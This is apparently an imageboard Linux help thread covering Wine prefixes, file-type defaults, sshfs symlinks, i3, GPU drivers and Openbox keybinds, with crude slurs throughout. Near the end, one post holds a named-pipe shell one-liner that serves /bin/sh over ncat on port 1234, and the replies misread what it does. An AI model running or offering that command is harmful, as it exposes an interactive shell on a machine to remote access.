So I was trying to find a way to change directory from within PlayOnLinux since some programs (e.g. installers on mounted DVDs) require you to cd into a specific directory in order for them to work, and I discovered that you can actually use PlayOnLinux's Wine prefixes through your native version of Wine like so:
WINEPREFIX=[path_to_playonlinux's_prefix_here] wine program.exe


To my amazement, it seems to work just fine even though my system version of Wine is considerably older than the one used by PlayOnLinux to create the prefix, but I'm just wondering if there are any hidden problems associated with doing this or if there's some 'proper' way of doing this from within PlayOnLinux itself.

I been using using ubuntu on my shitpad for a month and decided to install it on my gayman pc.

Everything was going fine, I installed some programs using the repository and the snap packages but now when I try to open a file, it'll launch the colibri browser instead, ignoring the default application.

Wat do? how do I even troubleshoot what went wrong?

Is there some easy way to achieve this on ubuntu?
I have a network folder mounted, which i can access as a regular folder, and every say 12 hours i want to mirror all files in that folder into a selected folder on my pc, as a simple backup basically
If the network folder is not mounted or internet is not working then it simply fails silently until next time
>>
>>68405735
do a bash script
check if the folder is mounted
if not mount it
then do rsync from mounted to local folder

if the folder at the moment isn't mountable (network troubles) make an endless loop with all the abouve + sleep in it

what the fug?

I have two computers
Computer A
----/home/poop
----/home/pee/test

Computer B
--- /home/poop/test

On computer A i create a symlink
ln -s /home/pee/test /home/poop/test

Now on the computer B i mount computer A's directory /home/poop with sshfs somewhere

Now when i go to this newly mounter directory, and click the symlink i created, then instead of being redirected to /home/pee/test on Computer A i get redirected to /home/pee/test on computer B

To put it simply, the symlink redirects me to a directory on the local computer, instead to the directory on the remote computer
So if that doesn't work, then how the fuck am i supposed to create a symlink to make sure it works directly when the directory is mounted with sshfs?
>>
>>68405963
You can use xdg-settings and xdg-open to set the default program for a file and open a file with its default program, respectively. You'd ought to be able to figure out whether the problem that you're having with your file browser is related to the way it sets defaults or the way it opens files. That might steer you towards a solution.
>>
>>68405974
A symlink is literally just a file containing a string, which will be followed when you try to access the file. There is no fancy magic allowing you to escape from mount points; it's working as indented.
You could use a hard link instead, if that's possible/reasonable.
>>
>>68406113
You can't hardlink directories, the penguin won't let you

Feel like holding my hand through that?
Looking at xdg-settings --help has me scratching my head

ok so xdg-open ~/blah/ok.png opens in sxiv, however pcmanfm still prefers feh

So Im learning my way to vim
I like it so far, im doing vimtutor everyday, and I installed Vim Vixen for firefox, so far so good.
But the only thing i struggle with is workflow with multiple files in different directories.
Im doing frontend dev and ive used VScode before vim, so i was really used to
>1) always see the file tree
>2) quicky change open file tabs
Now, i read that having as few plugins as possible is the best route to go, to not be depended on 3rd party stuff and maximalize vim potential.
So how do I make this workflow work?
>>
>>68406138
Create a bind mount then.
>>
>>68406237
Im no expert but i think you need plugins dawg
>>
>>68406237
What I did, was essentially give up on that aspect of vim. It's just too clunky.
I use i3wm and I suggest you do as well!
So it's trivially easy to open a few windows, vertically tile a column or whatever kind of layout I want. Then I have vim open in each separately as needed. I just let vim be an editor for a single file, and I let my window manager manage windows.
My setup could be slightly better with condensing the steps of winkey-enter to open a terminal and typing "vim ..." but it's so minor I haven't gotten around to it.
>>
>>68406179
You should be able to do this:
$ grep png ~/.local/share/applications/mimeapps.list
image/png=sxiv.desktop;


If that's what you see when you do that, then I think you've encountered a bug in pcmanfm. You can try using a different version or switch to a different file manager altogether.
>>
>>68406279
man, seriously, ive installed debian netinstall with i3 just yesterday after years with ubuntu. this comes handy
>>
>>68406237
You shouldn't completely avoid plugins though, there are a few really great ones. Lightline for instance.
>>
>>68406237
>>68406279
This is how I do it aswell. Or you can use something like oni instead if you want something more modern
>>
>>68406301
i3 is so fantastic, before trying it I never would have seen the appeal of a tiling WM. Now I can't imagine not using it.
A long time ago I tried a few other ones, but I think even then I liked i3 the best. When I briefly got into haskell, it was cool messing with xmonad. But i3 is just so perfect for my needs that I can't imagine what else a WM could offer me.
>>
>>68406324
Hey thanks, Oni looks pretty nice, hadn't heard of it.
I've always felt a little bad that VS Code is really the best IDE, when things get big enough that I want more than vim.
>>
>>68406166
I gave you bad advice. It's "xdg-mime" that you use for file types. "xdg-settings" is what you would use to set the default application for a URL type.

xdg-mime is basically just a tool for manipulations your mimetypes.list file. A file manager should use the program indicated there as the default, and fall back on the system-wide setting in /usr. It may not need to be pointed out that stopping your file manager and starting it again is worth a try. It may be the case that your file manager loads those defaults when it starts and keeps them in memory. I would call that a bug since you won't always get the expected behavior when you change your defaults, but if that's what it's doing then it's a bug with an easy workaround.

There are still some things that seriously irk me about i3 though. They're little things, but that also means they should be easy fixes too, and the fact that there is nothing baffles me sometimes. I hate to say this, but it really does give me the feeling sometimes that I'm the only fucking person actually using i3 actively, which I know isn't true but I just don't get it.

Mostly my problems with i3 are how certain container modes are displayed.
For example a container in either tabbed or stacked mode with only 1 window in it is 100% indistinguishable from a single window. Meaning that there are cases where it is literally impossible to predict where a new window will go when opened.
It bothered me so much I actually patched and compiled i3 myself to fix this (pic related, left is a stacked container, right is tabbed)

Another thing that annoys me which I haven't found a way to fix yet is nested containers. It's easy to create deeply nested containers that only contain a single window and since i3 collapses it you can't tell the difference. This means if you're trying to select what you THINK is the parent container you may have to hit the hotkey several times.
It seriously triggers my autism at the mere thought of having nested containers without being aware of it.

I do still like i3 though, I just don't understand why these simple observations which should effect the day-to-day life of any i3 user as far as I can tell seems to not annoy anyone but me. And fixing them absolutely should not increase the codebase or difficulty of maintaining i3 at all, so I can see no excuse for why anyone would be ok with not knowing exactly what state any window or container is in by looking at it. I hope they fix these things in the future, because then i3 would be perfect in my book.
/rant
>>
>>68406729
Oh, a couple more issues I just remembered:
1) You cannot trivially move a window outside of a container. You HAVE to use the arrow keys to do it and it doesn't even work as you'd expect in all cases.
Sometimes if 2 windows are side by side within a container at some ratio other than 50% width for each and you move one window outside the container they don't retain their widths. They don't even go back to 50% either, they get some arbitrary width in between and it makes no fucking sense.
2) It's _impossible_ in any way to move one container to the other side of another container without one of them having to enter the other first. This is annoying as fuck if you want to preserve their relative widths because when it comes out the other side both containers just default to 50%.

Such little things that can be quite annoying. It wouldn't be half as frustrating if I could at least see the devs or other i3 users acknowledging that these problems exist, but it seems nobody does. It's like i3 is just perfect and it's going to stagnate exactly where it is.
Maybe some fork will be better.

I have never really been bothered by any of these things. I am almost never doing anything terribly complicated with the windows though, it's rare I even go into tab-mode, the only time is when I have a workspace of two columns devoted to texts and some kind of workspace. The texts are tabbed and vim/whatever is the other column, possibly vertically split. That's really as complicated as I ever get, for the most part.

It seems like these have bothered you enough to come up with a patch, why not submit a PR? I like the colors/font in your pic btw. I have stuck with the stock tiny borders and blue and sometimes I wouldn't mind having a bit of border for resizing but it's so easy to keyboard resize that it doesn't really bother me.
What's the font?

i3wm. It's a tiling window manager, so if you open a program on a blank workspace, it'll be fullscreen. If you open another, both programs will now take up half the screen. And of course you can adjust things and blahblah. But there is no overlapping, and you soon realize that floating windows were a mistake.
You should give it a try. I don't recall if the help file automatically opens when you start, so just keep in mind win-enter will open a terminal.

>>68411467
Hey, might be really cool then. Is it only on certain distros? Could it work on kde? I've got Kubuntu install atm. I can see how it'd be useful... can you still maximize windows if need be or is it set to the template?
>>
>>68411498
Just install i3wm, logout, and on the login screen somewhere there should be a thing where you can choose your WM or DE or whatever.

It's not only on certain distros, I'm sure you could install it on any linux distro. All the ubuntus are essentially the same, or like basically all cousins of debian, or something like that. You can turn kubuntu into xubuntu by just installing and uninstalling a few things, basically.

I never really bothered understanding the difference between window managers and desktop environments, but I believe that i3 would replace the functionality of kde.
It definitely takes a bit of getting used to, coming from a life-long familiarity with non-tiling, but that said I find it ends up feeling pretty natural. It also lends itself to using workspaces more, I find, since you're not cramming all your open programs into one workspace and alt-tabbing through them.

Yeah, I see how it could change the way you use a computer os. I'll look into it more as my setup is fresh and ideal for testing it out.

Boy, you really fell hard for Nvidia's retarded memes didn't you, goy?
AMD cards are excellent and have extremely high-quality open source Linux drivers that just work. Intel iGPUs are also extremely good too, but that's obviously just an iGPU.

Cept when they didnt(when they were ati) and nvida was the only option and still provides a higher quality driver stack then any ati cards can, amdgpupro or otherwise.
Nvidia has higher performance then any amd card
Nvidia has better feature sets then any amd card(try doing any encoding on an amd and watch as it stutters to fuck)
Nvidia runs the linux world(RHEL workstations use nvidia cards and blob driver)
If you cannot afford an nvidia card, just state that you cant, otherwise there is no reason not to use nvidia in 2018.

>>68412995
>Why would i want a gimped piece of hardware that is 2 generations behind at their top of the line card?

>>68412973

>You will need to create a separate kernel package and compile nouveau in to it.

Why? Can't I just have it installed alongside the nvidia package? Nouveau gets automatically blacklisted when nvidia is installed.

    echo "blacklist nouveau" |
install -Dm644 /dev/stdin "${pkgdir}/usr/lib/modprobe.d/${pkgname}.conf"


I want to somehow make it blacklist nvidia and use nouveau instead, when booting the fallback image only.

>It fucking works

>>
>>68413089

They should be able to afford...oh wait, no one buys amd cards. Meaning amd is poor and lacks the development powerhouse that is nvidia to keep up with the times and produce a proper toolkit

>Cept when they didnt(when they were ati) and nvida was the only option and still provides a higher quality driver stack then any ati cards can
The past is irrelevant; fglrx was a trash fire, but it's been put down now.
AMD got their shit together and AMDGPU is the present, and it's extremely good. It's extremely unlikely you need AMDGPU-PRO for anything. The open-source userspace driver is all you need.
>Nvidia has higher performance then any amd card
All that performance is so great when you can't even use it.
>Nvidia has better feature sets then any amd card(try doing any encoding on an amd and watch as it stutters to fuck)
Post some numbers, fuckboi. Although I really don't care.

Numbers, and nobody fucking cares what RHEL is doing.
>If you cannot afford an nvidia card, just state that you cant, otherwise there is no reason not to use nvidia in 2018.
I literally develop software related to Linux graphics, and I can say that Nvidia can go fuck themselves. I'm not going to write driver-specific shit for Nvidia's special-snowflake interfaces, just so I can get cucked by Nvidia.
AMD or Intel iGPUs are the only viable desktop GPUs at this point.
>>
>>68413027
>Intel iGPUs are also extremely good too, but that's obviously just an iGPU.

Intel GPU obviously can't compete with nvidia or amd but seriously it's often more than enough. The drivers most certainly do NOT just work however. On intel GPU, mpv was freezing my system so thoroughly I couldn't even sysrq out of it. Switching to nouveau fixed it.
>>
>>68413111
>Nouveau gets automatically blacklisted when nvidia is installed.
No it does not. You will need to blacklist it in modprobe.d

You have to create a separate kernel image that has nouveau compiled in to it and then make a separate mkinitcpio init that has nouveau listed in the mkinitcpio config

>Does your system boot directly to X?
No, i do not use a login manager and i manually mount some drives before issuing "startx". I dont use a de i use openbox.
>Are your boot messages rendered?
Yes, the entire init is rendered in the tty

Does the Debian installer give you the option to not use a bootloader at all? Technically you don't need one on a UEFI machine if your kernel is properly configured for UEFI. Since configuring your kernel is not part of the installation process for most distros, it's up to the docto distro maintainers to set that up. I've never tried to go without a bootloader, but I haven't installed Linux on a UEFI machine in years. Next time I do I'm going to try it.

cat /tmp/f | /bin/sh -i 2>&1 | wine /usr/share/ncat-w32/ncat.exe -l 1234 --ssl --allow 10.00.00.001 > /tmp/f

What are some good distros for old macbooks? I got one from 2009 and im trying to make it usable again

This is pretty wierd shit senpai. Why the shell, why wine and why writing to a file you just opened?
>>
>>68404628
Really good to list entire directories and sub-directories and save output to text files.
>>
>>68416013
> /tmp/f happens before cat /tmp/f, cat reads an empty file.

Also netcat is available on gnu/linux, why are you using wine?

For me, it's sed.

Is there a GUI video player I can use on raspbian with only keyboard input? I was having trouble getting OMXplayer to work through the terminal and in the file browser I needed a mouse
>>
>>68416862
to clarify OMXplayer is working fine through the terminal it just seems like too much typing. I'm looking for something where I can just use arrow keys on a gui

What's the current state of open and closed source AMD drivers? I remember about 5 or so years ago both lagged behind nouveau and official Nvidia by a lot. Can I expect comparable performance and stability compared to Nvidia on a recent AMD card?
>>
>>68416951
AMD's drivers have gotten significantly better over the last few years. They changed their driver strategy and it fucking paid off.
There is very little reason to use the proprietary userspace driver (AMDGPU-pro), aside from some very specific GPU compute stuff.
Just stick to the open source driver and it'll run great.
>>
>>68416951
The open driver amdgpu is good enough that nobody talks about amdgpu-pro. Performance and stability-wise it is not comparable to Nvidia though ((because it's not fucking broken)).

Is there a simple way to change display color saturation on Ubuntu?

I'm using Arch with KDE. In Konsole and xterm but not in tty or rxvt-unicode (rxvt comes with its own terminfo), ranger file manager doesn't receive <ctrl-h> which is a command for "show hidden files".
https://wiki.archlinux.org/index.php/Xterm#Fix_the_backspace_key doesn't work whether it's with "XTerm" or "xterm" (which is in talk page of the wiki) string as evident in .Xresources. .Xresources load fine thorough the command "$ xrdb -query -all". #archlinux on freenode and archlinux forum don't response to me. I posted in forum for months https://bbs.archlinux.org/viewtopic.php?id=235717
and this is close to two weeks https://bbs.archlinux.org/viewtopic.php?id=241360

Please, help me.

It's described in there.
This problem is the only one remain with Arch and it's very nagging for me.
>>
>>68404052
>what is calibre
>>
>>68417405
Maybe ctrl h is a keybind in the KDE keybind menu thing. That could be interfering.
>>
>>68417554
It's not because emacs receive <ctrl-h>.
It's an old problem as described in
http://www.ibb.net/~anne/keyboard.html
>>
>>68417447
I can't remember the last time I opened calibre. If it can preview the first image of an archive be it zip or rar, I'll gladly look on it.
Apparently dolphin can preview zip files, but I've had no luck with it. In fact, it doesn't even display some folders as folders.

>>68417613
If you could transport said file, I can test it for you.

Trying to setup openbox on my laptop, now on windows it had predefined macro keys, does that play a role here? This part of my RC config should work but does not

<keybind key="F1">
<action name="Execute">
<command>amixer set -D pulse Master toggle</command>
</action>
</keybind>
<keybind key="F3">
<action name="Execute">
<command>amixer set Master 2%+</command>
</action>
</keybind>
<keybind key="F2">
<action name="Execute">
<command>amixer set Master 2%-</command>
</action>
</keybind>

It works on my desktop, what am I not considering?
>>
>>68417055
>>68417832
Isn't xrandr limited to just brightness and gamma?
xcalib has some additional options to adjust like contrast.
It doesn't have saturation though, but I'm wondering if that's because maybe some of the other options effectively influence saturation?

The answer.

No seriously

So only certain mice work with Linux?

>>68418777
Yeah. Live mice are a no-go.
>>
>>68418564
I am serious. But I can't give a very specific answer unless you ask a specific question. I mean I'm assuming you know it's a package manager, so obviously you're asking for more detailed information and I don't feel like writing a 5 page essay to cover everything.

Things inside that file get started when Openbox starts. That's it. You can start anything you want with it, whether it's some Xfce or GNOME program.

How is Alpine? I want a minimal comfy i3 desktop and I have some experience with Void but I've never built myself a complete desktop. I'm a debian fag myself but I just want to get away from shitstaind. I can do that on lesbian but any apt operation will ask me to install the shitstaind software suite.

Hey senpaitachi, looking for a comfy distro that will support triple screen out of the box and looks pretty
Please advise

That is completely independent of the distro.
Just use whatever.

Alright fa/g/s, I'm currently rolling with a w10 + elementaryOS dualboot but I'm looking for a new distro as elementary has been giving me issues for a minute.

Should I roll cloverOS or Xubuntu + Chicago95 theme? I really just want something that just werks but also looks nice and is relatively lightweight. I know these are both meme options but that's kinda why I wanna give em a try.

Working with a raspberry/raspbian jessie image.
Fstab has an entry for /var/log, to be mounted as tmpfs. Now, redis service fails because it has no permissions to write in /var/log.
I've added mode option in fstab entry (mode=0666) but it is ignored, since /var/log has always 0755 (rwxr-xr-x).
What's wrong?
